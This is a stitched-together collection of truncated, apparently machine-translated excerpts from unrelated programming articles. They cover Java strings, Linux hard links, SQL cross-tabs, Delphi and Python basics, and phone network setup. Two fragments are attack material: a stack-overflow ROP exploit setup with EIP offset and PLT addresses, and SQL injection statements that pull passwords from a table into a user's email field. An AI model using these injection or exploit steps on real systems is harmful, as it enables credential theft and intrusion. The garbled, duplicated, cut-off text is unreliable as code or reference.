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First of all, please take a look at the following output results. Please think carefully and do not answer them so quickly! String STR = new string ("AAA"); string str2 = new string ("AAA"); system. out. println (STR = str2); system. out. println ("----------------"); string str3 = "BBB"; string str4 = "BBB"; system. out. println (str3 = str4); system. out. println ("----------------"); string str5 = new

the system does not re-allocate inode for it.You can use the ln command to create a hard link. Reference ln [Options] existingfile newfile Ln [Options] existingfile-List Directory Usage:First, create a hard link for "existingfile". The file name is "newfile ".In the "directory" directory, create a hard link with the same name for all files contained in "existingfile-list.Commonly used [Options]:-F creates a link regardless of whether "newfile" exists or not. -N if "newfile" already exists, no l

Using a cross tabulation, We can display items in a column field, such as [subject] to display [exam scores]. can the [job score] be displayed in the same cross tabulation query at the same time? For example, the following dataTable 3+ ----- + -------- + ------- + ------ + ------------- +| ID | sname | sclass | course | score | homeworkscore |+ ----- + -------- + ------- + ------ + ------------- +| 1 | AAA | 3 | language | 50 | 8 || 2 |

Using a cross tabulation, We can display items in a column field, such as [subject] to display [exam scores]. can the [job score] be displayed in the same cross tabulation query at the same time? For example, the following dataTable 3+ ----- + -------- + ------- + ------ + ------------- +| ID | sname | sclass | course | score | homeworkscore |+ ----- + -------- + ------- + ------ + ------------- +| 1 | AAA | 3 | language | 50 | 8 || 2 |

I. Errors Caused by reading UTF-8 encoding files There is a TXT file with the following content: aaabbbccc Open the TXT file in UTF-8 encoding mode, read in sequence, put the value in a hashset, and determine whether AAA is in hashset Class {public static void main (string [] ARGs) {try {hashset Result output: specialcateset does not contain aaa The value in the resumable trace specialcateset does include

. Srawww.playppc.com E. In the PPP config window, select an and enter the username and password required to access the evdo network AN-AAA in userid and password. Srawww.playppc.com F. Click write to phone to write the new configuration to the mobile phone and restart the mobile phone. Srawww.playppc.com G. If the local evdo network has been activated, the EV signal ID should be displayed on the mobile phone after restart. It indicates that the mobile

to any library function, such as system EIP Control First, check which protection is enabled for the process. Due to the stack buffer vulnerability in the program, we can use PEDA to quickly locate the EIP overwriting location. Stage1 We first write a drop chain and directly return it to write @ plt. From zio import * Offset = 112 Addr_plt_read = 0x08048390 # objdump-d-j. plt bof | grep "read" Addr_plt_write = 0x080483c0 # objdump-d-j. plt bof | grep "write" #./Rp-lin-x86 -- file = bof --

;--; Update [users] set email= (select top 1 count (ID) from password) where name=ffff;--; Update [users] set email= (select top 1 pwd from password where id=2) where name=ffff;--; Update [users] set email= (select top 1 name from password where id=2) where name=ffff;--The above statement is to get the first user table in the _blank> database and place the table name in the FFFF user's mailbox field.By looking at FFFF's user profile, you get the first table called AD.Then the ID of this table is

Tstringlist Common operations//Tstringlist Common Methods and properties:VarList:tstringlist; I:integer;BeginList: =Tstringlist.create; List.add (‘Strings1‘);{Add to}List.add (‘Strings2‘); List.exchange (0,1);{Replacement}List.insert (0,‘Strings3‘);{Insert}I: = List.indexof (‘Strings1‘);{The first occurrence of the position}List.sort;{Sort}list.sorted: = True;{Specify sort}List.count;{Total}List.text;{Text Collection}List.delete (0);{Delete, 0 is the first data}List.loadfromfile (‘C:\tmp.txt‘);{

First, the object-oriented Advanced sectionSecond, Socker network programmingFirst, object-oriented advanced1.isinstance (BOJ,AAA) Check that BoJ is not a Class AAA object if it is returned true if it is not returned falseClass AAA: PassOBJ=ABC ()Print (Isinstance (OBJ,AAA))2.issubclass (

the SQL for creating tables and preparing table data is as follows: CREATE TABLE aaa ( Age number,--agesName1 VARCHAR2 (20)--Name)INSERT into AAA VALUES (23, ' John ');INSERT into AAA VALUES (24, ' Dick ');INSERT into AAA VALUES (23, ' American ');INSERT into AAA VALUES (24